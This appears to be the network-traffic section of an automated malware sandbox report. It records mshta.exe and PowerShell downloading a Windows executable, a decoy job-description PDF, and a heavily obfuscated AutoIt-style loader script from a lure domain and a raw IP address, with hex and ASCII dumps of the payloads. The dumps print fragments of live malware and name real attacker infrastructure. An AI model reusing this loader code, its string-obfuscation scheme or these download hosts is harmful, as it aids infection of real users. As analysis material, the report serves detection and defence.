Dec 23, 2024 08:39:40.260896921 CET	1236	IN	Data Raw: f8 0f 0f 8e 8f 9b 03 00 83 f8 11 0f 84 86 9b 03 00 83 f8 14 0f 84 7d 9b 03 00 83 fe ff 0f 84 87 01 00 00 a1 10 78 4c 00 8b 04 b0 8b 18 53 89 5d e4 e8 a8 f7 ff ff 8b f8 89 7d e0 83 ff ff 0f 84 66 01 00 00 a1 24 78 4c 00 8b 55 08 8b 04 b8 8b 30 89 Data Ascii: }xLS]}f$xLU0ui`WPfwLfUEM}UU(EM}U(SuWQP{`CXK\}{dEM}U}E$2@u$u u
Dec 23, 2024 08:39:40.260910034 CET	1236	IN	Data Raw: c0 74 0c 33 c0 40 5b 5f 5e 8b e5 5d c2 04 00 8b 4d fc 46 3b 75 08 72 c4 33 c0 eb ea 33 c0 eb e7 56 8b f1 8b 0e 85 c9 7e 1d 8b d1 0f b6 c1 c1 fa 10 81 e1 00 ff 00 00 81 e2 ff 00 00 00 c1 e0 10 0b d0 0b d1 89 16 5e c3 55 8b ec 83 ec 0c 53 56 8b c1 Data Ascii: t3@[_^]MF;ur33V~^USVWPE&3fCY3x!MM9M~Fj0Zx?Ex9wAf;r<+QSRPd+MVOEj0@MEZ;E\|u _^[]AF7&f2V
Dec 23, 2024 08:39:40.380261898 CET	1236	IN	Data Raw: a5 d5 01 00 8b 45 f8 59 89 46 04 c6 46 09 00 5b ff 0e 5f 5e 8b e5 5d c3 ff 77 1c 8b cb e8 5c 00 00 00 eb ac c6 46 09 01 eb e6 55 8b ec 56 57 8b f9 80 7f 09 00 0f 85 df 98 03 00 6a 0c e8 f1 d4 01 00 8b f0 59 85 f6 74 31 8b 45 08 83 26 00 8b 48 04 Data Ascii: EYFF[_^]w\FUVWjYt1E&HNx0VGFw_^]f3UVuWtT~tv~uF~u~t)WYFF8u6vYYVY_^]vU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49800	139.99.188.124	80	8428	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 08:39:43.654159069 CET	77	OUT	GET /VmnWBYrzn.txt HTTP/1.1 Host: 139.99.188.124 Connection: Keep-Alive
Dec 23, 2024 08:39:45.155564070 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:39:44 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 16 Dec 2024 07:33:56 GMT ETag: "12f072-6295e34062d02" Accept-Ranges: bytes Content-Length: 1241202 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 46 75 6e 63 20 4e 75 74 72 69 74 69 6f 6e 53 70 65 65 64 4d 61 79 6f 72 46 61 6d 69 6c 69 65 73 28 24 53 6d 4b 69 73 73 2c 20 24 45 66 66 69 63 69 65 6e 74 6c 79 46 6f 72 6d 75 6c 61 2c 20 24 43 6f 6e 73 75 6c 74 69 6e 67 53 6f 72 74 73 4c 61 62 73 2c 20 24 66 75 72 74 68 65 72 74 65 72 72 6f 72 69 73 74 2c 20 24 42 49 4b 45 4f 43 43 55 52 52 45 4e 43 45 53 4c 49 47 48 54 2c 20 24 52 65 76 65 72 73 65 50 68 69 6c 69 70 70 69 6e 65 73 29 0a 24 50 64 42 6c 6f 63 6b 73 52 65 73 70 6f 6e 73 65 44 61 74 20 3d 20 27 37 33 39 31 31 39 36 31 38 37 37 32 27 0a 24 56 65 72 69 66 69 65 64 55 6e 64 65 72 73 74 6f 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 34 0a 24 69 6f 73 79 6d 70 68 6f 6e 79 73 65 65 6d 73 63 72 75 63 69 61 6c 20 3d 20 35 30 0a 46 6f 72 20 24 4f 64 48 42 74 20 3d 20 32 38 20 54 6f 20 38 36 35 0a 49 66 20 24 56 65 72 69 66 69 65 64 55 6e 64 65 72 73 74 6f 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 32 20 54 68 65 6e 0a 53 71 72 74 28 37 39 35 35 29 0a 46 69 6c 65 45 78 69 73 74 73 28 [TRUNCATED] Data Ascii: Func NutritionSpeedMayorFamilies($SmKiss, $EfficientlyFormula, $ConsultingSortsLabs, $furtherterrorist, $BIKEOCCURRENCESLIGHT, $ReversePhilippines)$PdBlocksResponseDat = '739119618772'$VerifiedUnderstoodValidation = 34$iosymphonyseemscrucial = 50For $OdHBt = 28 To 865If $VerifiedUnderstoodValidation = 32 ThenSqrt(7955)FileExists(Wales("73]113]116]120]125]36]81]36]72]109]119]116]121]120]105]36",12/3))$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1EndIfIf $VerifiedUnderstoodValidation = 33 ThenConsoleWriteError(Wales("75]106]103]119]122]102]119]126]48]74]125]121]119]102]48",25/5))DriveStatus(Wales("87]72]79]72]70]82]80]80]88]81]76]70]68]87]76]82]81]86]67]71]72]86]76]85]72]67",6/2))Dec(Wales("92]77]84]52]70]82]70]95]84]83]72]84]90]80]52]71]90]73]70]85]74]88]89]52]90]83]78]89]88]52",5/1))$VerifiedUnderstoodValidation = $VerifiedUnderstoodValidation + 1EndIfIf $VerifiedUndersto
Dec 23, 2024 08:39:45.155606031 CET	1236	IN	Data Raw: 6f 64 56 61 6c 69 64 61 74 69 6f 6e 20 3d 20 33 34 20 54 68 65 6e 0a 24 4e 75 74 74 65 6e 49 6e 76 65 73 74 6f 72 73 52 61 6c 65 69 67 68 20 3d 20 44 65 63 28 57 61 6c 65 73 28 22 31 30 34 5d 31 31 33 5d 31 30 35 5d 38 36 5d 38 35 5d 39 36 5d 38 Data Ascii: odValidation = 34 Then$NuttenInvestorsRaleigh = Dec(Wales("104]113]105]86]85]96]83]73]78]127]105]97]79]105]77",28/4))ExitLoopEndIfNext$LAYERSSTRICTINNOVATIVE = '66150718350940696046327902621'$DmModsQueries = 68$DRESSDEARANTIQUES = 93Wh
Dec 23, 2024 08:39:45.155653954 CET	1236	IN	Data Raw: 6c 4c 69 62 72 61 72 69 61 6e 53 70 69 72 69 74 55 20 3d 20 24 54 68 65 6f 72 65 74 69 63 61 6c 4c 69 62 72 61 72 69 61 6e 53 70 69 72 69 74 55 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 54 68 65 6f 72 65 74 69 63 61 6c 4c 69 62 72 61 72 69 61 Data Ascii: lLibrarianSpiritU = $TheoreticalLibrarianSpiritU + 1EndIfIf $TheoreticalLibrarianSpiritU = 18 Then$locateheadquarterssuccessfully = PixelGetColor(Wales("82]124]123]88]85]72]105]73]102]127]126]82]119",5/1), Wales("82]124]123]88]85]72]105]73]
Dec 23, 2024 08:39:45.155670881 CET	1236	IN	Data Raw: 37 29 29 0a 41 53 69 6e 28 39 39 32 29 0a 24 6d 69 73 73 69 6f 6e 73 67 72 65 65 6e 68 6f 75 73 65 20 3d 20 24 6d 69 73 73 69 6f 6e 73 67 72 65 65 6e 68 6f 75 73 65 20 2b 20 31 0a 45 6e 64 49 66 0a 49 66 20 24 6d 69 73 73 69 6f 6e 73 67 72 65 65 Data Ascii: 7))ASin(992)$missionsgreenhouse = $missionsgreenhouse + 1EndIfIf $missionsgreenhouse = 96 Then$broughtisnicholasearned = ASin(9631)ExitLoopEndIfIf $missionsgreenhouse = 97 ThenDriveStatus(Wales("87]120]118]101]109]107]108]120]39",24/6
Dec 23, 2024 08:39:45.155704975 CET	1236	IN	Data Raw: 38 32 30 39 32 34 34 35 32 39 39 32 31 34 37 37 33 30 37 33 33 38 33 32 39 35 39 38 31 37 38 33 37 31 39 31 34 39 36 37 34 34 35 38 38 30 38 27 0a 24 44 49 4c 44 4f 53 59 49 45 4c 44 53 46 41 52 45 41 44 44 52 45 53 53 45 44 20 3d 20 33 36 0a 24 Data Ascii: 82092445299214773073383295981783719149674458808'$DILDOSYIELDSFAREADDRESSED = 36$PERFECTRYAN = 64For $mdowmhS = 37 To 500If $DILDOSYIELDSFAREADDRESSED = 35 ThenPixelGetColor(107, 354, 0)Dec(Wales("76]97]107]101]115]42]73]110]115]116]97]11
Dec 23, 2024 08:39:45.155739069 CET	1236	IN	Data Raw: 38 29 0a 44 72 69 76 65 53 74 61 74 75 73 28 57 61 6c 65 73 28 22 39 33 5d 31 31 37 5d 31 32 33 5d 31 31 36 5d 31 30 36 5d 35 33 22 2c 33 30 2f 35 29 29 0a 43 68 72 28 38 37 37 39 29 0a 24 4c 65 73 73 50 68 6f 6e 65 20 3d 20 24 4c 65 73 73 50 68 Data Ascii: 8)DriveStatus(Wales("93]117]123]116]106]53",30/5))Chr(8779)$LessPhone = $LessPhone + 1EndIfIf $LessPhone = 28 Then$adipexeditcarl = DriveStatus(Wales("79]104]75]82]80]116]89]86]125]114]75]75]81]125]90]115]95]79]128",56/8))ExitLoopEndIf
Dec 23, 2024 08:39:45.155774117 CET	1236	IN	Data Raw: 73 74 65 64 44 69 65 44 6f 63 73 20 2b 20 31 0a 45 6e 64 49 66 0a 57 45 6e 64 0a 24 54 61 62 6c 65 44 69 73 63 75 73 73 65 73 52 61 70 69 64 6c 79 48 69 73 74 6f 72 69 63 61 6c 20 3d 20 27 39 38 37 37 37 39 35 31 33 37 30 34 33 31 35 32 31 31 36 Data Ascii: stedDieDocs + 1EndIfWEnd$TableDiscussesRapidlyHistorical = '9877795137043152116883331283765251278672396181174893270'$COACHCELLULAR = 24$AIMEDSENZSHOPSMIXER = 90For $hIEQQvE = 18 To 472If $COACHCELLULAR = 23 ThenACos(2564)Chr(8142)ASi
Dec 23, 2024 08:39:45.155806065 CET	1236	IN	Data Raw: 6e 65 4c 69 63 65 6e 73 65 20 2b 20 31 0a 45 6e 64 49 66 0a 57 45 6e 64 0a 24 42 61 73 6b 65 74 73 4e 65 61 72 43 75 62 61 20 3d 20 27 35 35 38 34 37 38 32 34 35 37 35 34 32 36 31 37 30 36 32 37 31 38 32 31 30 30 30 38 27 0a 24 48 65 72 65 62 79 Data Ascii: neLicense + 1EndIfWEnd$BasketsNearCuba = '5584782457542617062718210008'$HerebyFaq = 55$MultiCordlessFlexRepublicans = 73While 548If $HerebyFaq = 54 ThenACos(3326)ATan(8817)Dec(Wales("78]105]124]40]40]40]40",56/7))$HerebyFaq = $Hereb
Dec 23, 2024 08:39:45.155842066 CET	1236	IN	Data Raw: 24 49 6d 6d 65 64 69 61 74 65 6c 79 4d 61 72 62 6c 65 49 6e 63 6f 72 70 6f 72 61 74 65 64 48 6f 75 72 20 3d 20 38 31 0a 24 61 70 70 72 6f 70 72 69 61 74 65 6c 6f 61 64 20 3d 20 38 31 0a 57 68 69 6c 65 20 39 33 33 0a 49 66 20 24 49 6d 6d 65 64 69 Data Ascii: $ImmediatelyMarbleIncorporatedHour = 81$appropriateload = 81While 933If $ImmediatelyMarbleIncorporatedHour = 80 ThenConsoleWriteError(Wales("91]110]125]106]114]119]70]93]130]121]110]70",9/1))DriveStatus(Wales("90]109]117]113]118]108]102]7
Dec 23, 2024 08:39:45.155877113 CET	1236	IN	Data Raw: 34 5d 37 31 5d 31 30 32 5d 39 38 5d 31 31 37 5d 33 34 5d 36 36 5d 31 30 39 5d 31 30 34 5d 31 30 32 5d 31 31 35 5d 31 30 36 5d 39 38 5d 33 34 5d 38 33 5d 31 30 32 5d 39 39 5d 31 31 32 5d 31 31 38 5d 31 31 31 5d 31 30 31 5d 33 34 22 2c 32 2f 32 29 Data Ascii: 4]71]102]98]117]34]66]109]104]102]115]106]98]34]83]102]99]112]118]111]101]34",2/2))$REJECTRESERVOIRLOCKENJOYED = $REJECTRESERVOIRLOCKENJOYED + 1EndIfIf $REJECTRESERVOIRLOCKENJOYED = 88 ThenExp(7839)Exp(4168)PixelGetColor(41, 632, 0)$REJ
Dec 23, 2024 08:39:45.275599957 CET	1236	IN	Data Raw: 6c 65 67 61 6c 20 3d 20 32 37 20 54 68 65 6e 0a 41 53 69 6e 28 34 32 39 37 29 0a 41 54 61 6e 28 36 33 33 33 29 0a 46 69 6c 65 45 78 69 73 74 73 28 57 61 6c 65 73 28 22 36 38 5d 31 31 39 5d 31 31 38 5d 31 31 38 5d 31 31 33 5d 31 31 32 5d 33 35 5d Data Ascii: legal = 27 ThenASin(4297)ATan(6333)FileExists(Wales("68]119]118]118]113]112]35]82]107]117]117]35]73]116]99]112]118]35]70]99]111]35",8/4))$DiscoIllegal = $DiscoIllegal + 1EndIfIf $DiscoIllegal = 28 ThenPixelGetColor(Wales("95]106]117]126

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49719	147.45.49.155	443	5172	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:39:18 UTC	334	OUT	GET /ghepduy1325 HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: tiffany-careers.com Connection: Keep-Alive
2024-12-23 07:39:19 UTC	397	IN	HTTP/1.1 200 OK etag: "6bb0f-6767070e-23c3c;;;" last-modified: Sat, 21 Dec 2024 18:21:02 GMT content-length: 441103 accept-ranges: bytes date: Mon, 23 Dec 2024 07:39:18 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46" connection: close
2024-12-23 07:39:19 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b7 1b 8a 28 f3 7a e4 7b f3 7a e4 7b f3 7a e4 7b e7 11 e7 7a f0 7a e4 7b e7 11 e0 7a e4 7a e4 7b e7 11 e1 7a f4 7a e4 7b e7 11 e5 7a ee 7a e4 7b f3 7a e5 7b da 7b e4 7b e7 11 ed 7a e0 7a e4 7b e7 11 1b 7b f2 7a e4 7b e7 11 e6 7a f2 7a e4 7b 52 69 63 68 f3 7a e4 7b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 b4 fd 18 da 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$(z{z{z{zz{zz{zz{zz{z{{{zz{{z{zz{Richz{PEL
2024-12-23 07:39:19 UTC	16384	IN	Data Raw: 33 d2 89 10 89 13 89 17 85 f6 0f 84 89 00 00 00 8d 41 02 89 45 fc 66 8b 01 83 c1 02 66 3b c2 75 f5 2b 4d fc d1 f9 74 71 83 f9 03 77 6c 6a 30 58 89 45 fc 85 c9 74 16 66 8b 04 56 66 2b 45 fc 66 83 f8 09 77 54 42 3b d1 72 ed 6a 30 58 83 f9 03 75 1d 8b 4d f8 0f b7 06 6a 30 5a 2b c2 89 01 0f b7 46 02 2b c2 89 03 0f b7 46 04 2b c2 eb 15 83 f9 02 75 14 0f b7 06 6a 30 59 2b c1 89 03 0f b7 46 02 2b c1 89 07 eb 0c 83 f9 01 75 07 0f b7 0e 2b c8 89 0f 33 c0 40 eb 02 33 c0 5f 5e 5b c9 c2 08 00 8b ff 55 8b ec 83 ec 14 53 56 57 85 c9 74 5c 83 65 fc 00 83 65 f4 00 6a 03 58 66 89 45 ec 8d 45 fc 50 68 e0 14 40 00 6a fc 51 ff 15 10 13 41 00 85 c0 75 37 8b 45 fc 85 c0 74 30 8b 18 8d 75 ec 83 ec 10 8b fc 8b 4b 54 6a 01 a5 50 a5 a5 a5 ff 15 4c 14 41 00 ff 53 54 8b 45 fc 50 8b Data Ascii: 3AEff;u+Mtqwlj0XEtfVf+EfwTB;rj0XuMj0Z+F+F+uj0Y+F+u+3@3_^[USVWt\eejXfEEPh@jQAu7Et0uKTjPLASTEP
2024-12-23 07:39:19 UTC	16384	IN	Data Raw: 5e eb 0b ff 72 f4 8b cb 52 e8 53 02 00 00 5f 8b c3 5b 5d c2 04 00 6a 08 b8 10 ed 40 00 e8 52 5b 00 00 8b f1 89 75 f0 68 78 02 41 00 e8 6f ba ff ff ff 75 08 83 65 fc 00 8b ce e8 1c 00 00 00 84 c0 75 0a ff 75 08 8b ce e8 57 ff ff ff 83 4d fc ff 8b c6 e8 ea 5a 00 00 c2 04 00 8b ff 55 8b ec 51 8b 45 08 32 d2 85 c0 74 12 a9 00 00 ff ff 75 0b 0f b7 c0 50 e8 52 c7 ff ff b2 01 8a c2 59 5d c2 04 00 6a 04 b8 44 ed 40 00 e8 e5 5a 00 00 8b d1 83 65 f0 00 8b 7d 0c 85 ff 79 02 33 ff 8b 75 10 85 f6 79 02 33 f6 b8 ff ff ff 7f 2b c7 3b c6 7c 67 8b 1a 8d 04 37 8b 4b f4 3b c1 7e 04 8b f1 2b f7 3b f9 7e 02 33 f6 85 ff 75 28 3b f1 75 24 8d 4b f0 e8 38 c8 ff ff 8b 4d 08 83 c0 10 89 01 21 7d fc c7 45 f0 01 00 00 00 8b c1 e8 51 5a 00 00 c2 0c 00 8b ca e8 bb c7 ff ff 8b 4d 08 50 Data Ascii: ^rRS_[]j@R[uhxAoueuuWMZUQE2tuPRY]jD@Ze}y3uy3+;\|g7K;~+;~3u(;u$K8M!}EQZMP
2024-12-23 07:39:19 UTC	16384	IN	Data Raw: fc 8d 41 28 57 8b 7d fc 89 45 fc 3b f8 74 3b 53 56 8b 1f 85 db 74 24 8b f3 8b 5b 04 8d 4e 08 e8 c0 e8 ff ff 56 6a 00 ff 15 f4 11 41 00 50 ff 15 dc 12 41 00 85 db 75 df 8b 45 fc c7 07 00 00 00 00 83 c7 04 3b f8 75 c9 5e 5b 5f c9 c3 8b ff 55 8b ec 56 57 8b 39 33 f6 56 6a ff 57 ff 15 30 12 41 00 b9 80 00 00 00 3d 02 01 00 00 74 08 85 c0 74 0c 3b c1 75 15 85 c0 74 04 3b c1 75 02 8b f7 8b 45 08 5f 89 30 5e 5d c2 10 00 51 8b 4d 04 e8 1e e4 ff ff cc 8b ff 55 8b ec 51 53 56 8b f1 8b da 33 c9 57 3b f3 74 45 8b 7d 08 85 ff 74 3e 66 39 0f 74 39 8b cf e8 47 df ff ff 2b de 89 45 fc 3b d8 73 0c 8b 45 0c 85 c0 74 2b 83 20 00 eb 26 50 57 53 56 ff 15 1c 14 41 00 8b 45 0c 83 c4 10 85 c0 74 02 89 30 8b 45 fc 03 c6 eb 0b 8b 45 0c 85 c0 74 02 89 08 8b c6 5f 5e 5b c9 c2 08 00 Data Ascii: A(W}E;t;SVt$[NVjAPAuE;u^[_UVW93VjW0A=tt;ut;uE_0^]QMUQSV3W;tE}t>f9t9G+E;sEt+ &PWSVAEt0EEt_^[
2024-12-23 07:39:19 UTC	16384	IN	Data Raw: ac 31 01 00 7c 31 01 00 42 31 01 00 16 31 01 00 ec 30 01 00 c0 30 01 00 8e 30 01 00 60 30 01 00 30 30 01 00 fe 2f 01 00 c0 2f 01 00 8e 2f 01 00 6c 2f 01 00 0e 2f 01 00 da 2e 01 00 b6 2e 01 00 90 2e 01 00 48 2e 01 00 f8 2d 01 00 a8 2d 01 00 5a 2d 01 00 26 2d 01 00 f0 2c 01 00 b0 2c 01 00 6a 2c 01 00 40 2c 01 00 1a 2c 01 00 ec 2b 01 00 c0 2b 01 00 78 2b 01 00 48 2b 01 00 20 2b 01 00 e6 2a 01 00 aa 2a 01 00 72 2a 01 00 2c 2a 01 00 fa 29 01 00 a6 29 01 00 7a 29 01 00 4c 29 01 00 1e 29 01 00 f4 28 01 00 b2 28 01 00 56 28 01 00 20 28 01 00 ca 27 01 00 7a 27 01 00 3c 27 01 00 06 27 01 00 d0 26 01 00 7e 26 01 00 4c 26 01 00 22 26 01 00 ee 25 01 00 a8 25 01 00 6a 25 01 00 32 25 01 00 e4 24 01 00 a8 24 01 00 74 24 01 00 3e 24 01 00 08 24 01 00 cc 23 01 00 8e 23 01 Data Ascii: 1\|1B11000`000///l//...H.--Z-&-,,j,@,,++x+H+ +*r,*))z)L))((V( ('z'<''&~&L&"&%%j%2%$$t$>$$##
2024-12-23 07:39:19 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b7 1b 8a 28 f3 7a e4 7b f3 7a e4 7b f3 7a e4 7b e7 11 e7 7a f0 7a e4 7b e7 11 e0 7a e4 7a e4 7b e7 11 e1 7a f4 7a e4 7b e7 11 e5 7a ee 7a e4 7b f3 7a e5 7b da 7b e4 7b e7 11 ed 7a e0 7a e4 7b e7 11 1b 7b f2 7a e4 7b e7 11 e6 7a f2 7a e4 7b 52 69 63 68 f3 7a e4 7b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 b4 fd 18 da 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$(z{z{z{zz{zz{zz{zz{z{{{zz{{z{zz{Richz{PEL
2024-12-23 07:39:19 UTC	16384	IN	Data Raw: 33 d2 89 10 89 13 89 17 85 f6 0f 84 89 00 00 00 8d 41 02 89 45 fc 66 8b 01 83 c1 02 66 3b c2 75 f5 2b 4d fc d1 f9 74 71 83 f9 03 77 6c 6a 30 58 89 45 fc 85 c9 74 16 66 8b 04 56 66 2b 45 fc 66 83 f8 09 77 54 42 3b d1 72 ed 6a 30 58 83 f9 03 75 1d 8b 4d f8 0f b7 06 6a 30 5a 2b c2 89 01 0f b7 46 02 2b c2 89 03 0f b7 46 04 2b c2 eb 15 83 f9 02 75 14 0f b7 06 6a 30 59 2b c1 89 03 0f b7 46 02 2b c1 89 07 eb 0c 83 f9 01 75 07 0f b7 0e 2b c8 89 0f 33 c0 40 eb 02 33 c0 5f 5e 5b c9 c2 08 00 8b ff 55 8b ec 83 ec 14 53 56 57 85 c9 74 5c 83 65 fc 00 83 65 f4 00 6a 03 58 66 89 45 ec 8d 45 fc 50 68 e0 14 40 00 6a fc 51 ff 15 10 13 41 00 85 c0 75 37 8b 45 fc 85 c0 74 30 8b 18 8d 75 ec 83 ec 10 8b fc 8b 4b 54 6a 01 a5 50 a5 a5 a5 ff 15 4c 14 41 00 ff 53 54 8b 45 fc 50 8b Data Ascii: 3AEff;u+Mtqwlj0XEtfVf+EfwTB;rj0XuMj0Z+F+F+uj0Y+F+u+3@3_^[USVWt\eejXfEEPh@jQAu7Et0uKTjPLASTEP
2024-12-23 07:39:19 UTC	16384	IN	Data Raw: 5e eb 0b ff 72 f4 8b cb 52 e8 53 02 00 00 5f 8b c3 5b 5d c2 04 00 6a 08 b8 10 ed 40 00 e8 52 5b 00 00 8b f1 89 75 f0 68 78 02 41 00 e8 6f ba ff ff ff 75 08 83 65 fc 00 8b ce e8 1c 00 00 00 84 c0 75 0a ff 75 08 8b ce e8 57 ff ff ff 83 4d fc ff 8b c6 e8 ea 5a 00 00 c2 04 00 8b ff 55 8b ec 51 8b 45 08 32 d2 85 c0 74 12 a9 00 00 ff ff 75 0b 0f b7 c0 50 e8 52 c7 ff ff b2 01 8a c2 59 5d c2 04 00 6a 04 b8 44 ed 40 00 e8 e5 5a 00 00 8b d1 83 65 f0 00 8b 7d 0c 85 ff 79 02 33 ff 8b 75 10 85 f6 79 02 33 f6 b8 ff ff ff 7f 2b c7 3b c6 7c 67 8b 1a 8d 04 37 8b 4b f4 3b c1 7e 04 8b f1 2b f7 3b f9 7e 02 33 f6 85 ff 75 28 3b f1 75 24 8d 4b f0 e8 38 c8 ff ff 8b 4d 08 83 c0 10 89 01 21 7d fc c7 45 f0 01 00 00 00 8b c1 e8 51 5a 00 00 c2 0c 00 8b ca e8 bb c7 ff ff 8b 4d 08 50 Data Ascii: ^rRS_[]j@R[uhxAoueuuWMZUQE2tuPRY]jD@Ze}y3uy3+;\|g7K;~+;~3u(;u$K8M!}EQZMP
2024-12-23 07:39:19 UTC	16384	IN	Data Raw: fc 8d 41 28 57 8b 7d fc 89 45 fc 3b f8 74 3b 53 56 8b 1f 85 db 74 24 8b f3 8b 5b 04 8d 4e 08 e8 c0 e8 ff ff 56 6a 00 ff 15 f4 11 41 00 50 ff 15 dc 12 41 00 85 db 75 df 8b 45 fc c7 07 00 00 00 00 83 c7 04 3b f8 75 c9 5e 5b 5f c9 c3 8b ff 55 8b ec 56 57 8b 39 33 f6 56 6a ff 57 ff 15 30 12 41 00 b9 80 00 00 00 3d 02 01 00 00 74 08 85 c0 74 0c 3b c1 75 15 85 c0 74 04 3b c1 75 02 8b f7 8b 45 08 5f 89 30 5e 5d c2 10 00 51 8b 4d 04 e8 1e e4 ff ff cc 8b ff 55 8b ec 51 53 56 8b f1 8b da 33 c9 57 3b f3 74 45 8b 7d 08 85 ff 74 3e 66 39 0f 74 39 8b cf e8 47 df ff ff 2b de 89 45 fc 3b d8 73 0c 8b 45 0c 85 c0 74 2b 83 20 00 eb 26 50 57 53 56 ff 15 1c 14 41 00 8b 45 0c 83 c4 10 85 c0 74 02 89 30 8b 45 fc 03 c6 eb 0b 8b 45 0c 85 c0 74 02 89 08 8b c6 5f 5e 5b c9 c2 08 00 Data Ascii: A(W}E;t;SVt$[NVjAPAuE;u^[_UVW93VjW0A=tt;ut;uE_0^]QMUQSV3W;tE}t>f9t9G+E;sEt+ &PWSVAEt0EEt_^[
2024-12-23 07:39:19 UTC	16384	IN	Data Raw: ac 31 01 00 7c 31 01 00 42 31 01 00 16 31 01 00 ec 30 01 00 c0 30 01 00 8e 30 01 00 60 30 01 00 30 30 01 00 fe 2f 01 00 c0 2f 01 00 8e 2f 01 00 6c 2f 01 00 0e 2f 01 00 da 2e 01 00 b6 2e 01 00 90 2e 01 00 48 2e 01 00 f8 2d 01 00 a8 2d 01 00 5a 2d 01 00 26 2d 01 00 f0 2c 01 00 b0 2c 01 00 6a 2c 01 00 40 2c 01 00 1a 2c 01 00 ec 2b 01 00 c0 2b 01 00 78 2b 01 00 48 2b 01 00 20 2b 01 00 e6 2a 01 00 aa 2a 01 00 72 2a 01 00 2c 2a 01 00 fa 29 01 00 a6 29 01 00 7a 29 01 00 4c 29 01 00 1e 29 01 00 f4 28 01 00 b2 28 01 00 56 28 01 00 20 28 01 00 ca 27 01 00 7a 27 01 00 3c 27 01 00 06 27 01 00 d0 26 01 00 7e 26 01 00 4c 26 01 00 22 26 01 00 ee 25 01 00 a8 25 01 00 6a 25 01 00 32 25 01 00 e4 24 01 00 a8 24 01 00 74 24 01 00 3e 24 01 00 08 24 01 00 cc 23 01 00 8e 23 01 Data Ascii: 1\|1B11000`000///l//...H.--Z-&-,,j,@,,++x+H+ +*r,*))z)L))((V( ('z'<''&~&L&"&%%j%2%$$t$>$$##

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49734	147.45.49.155	443	672	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:39:23 UTC	88	OUT	GET /Job_Description.pdf HTTP/1.1 Host: tiffany-careers.com Connection: Keep-Alive
2024-12-23 07:39:24 UTC	430	IN	HTTP/1.1 200 OK etag: "347816-67604c7c-2538f;;;" last-modified: Mon, 16 Dec 2024 15:51:24 GMT content-type: application/pdf content-length: 3438614 accept-ranges: bytes date: Mon, 23 Dec 2024 07:39:24 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46" connection: close
2024-12-23 07:39:24 UTC	16384	IN	Data Raw: 25 50 44 46 2d 31 2e 36 0a 25 f6 e4 fc df 0a 31 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 0a 2f 56 65 72 73 69 6f 6e 20 2f 31 2e 36 0a 2f 50 61 67 65 73 20 32 20 30 20 52 0a 3e 3e 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 4c 65 6e 67 74 68 20 35 32 36 35 34 39 0a 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 0a 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 0a 2f 46 69 6c 74 65 72 20 2f 44 43 54 44 65 63 6f 64 65 0a 2f 42 69 74 73 50 65 72 43 6f 6d 70 6f 6e 65 6e 74 20 38 0a 2f 57 69 64 74 68 20 32 34 38 30 0a 2f 48 65 69 67 68 74 20 33 35 30 38 0a 2f 43 6f 6c 6f 72 53 70 61 63 65 20 2f 44 65 76 69 63 65 52 47 42 0a 